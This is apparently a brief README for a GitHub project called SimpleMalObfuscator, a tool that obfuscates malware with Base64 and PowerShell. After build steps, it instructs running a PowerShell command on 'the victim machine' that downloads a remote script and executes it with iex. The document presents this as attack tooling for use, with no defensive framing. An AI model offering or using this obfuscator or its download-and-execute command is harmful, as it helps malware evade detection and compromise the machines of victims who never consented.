Base64 and Powershell malware obfuscator based.
git clone https://github.com/joaostack/SimpleMalObfuscator; cd SimpleMalObfuscator
dotnet restore
dotnet publish -p:PublishSingleFile=true
And go to bin/Release folder.
Execute on the victim machine powershell
irm http://localhost/FILE.ps1 | iex
João H. (joaostack) – GitHub
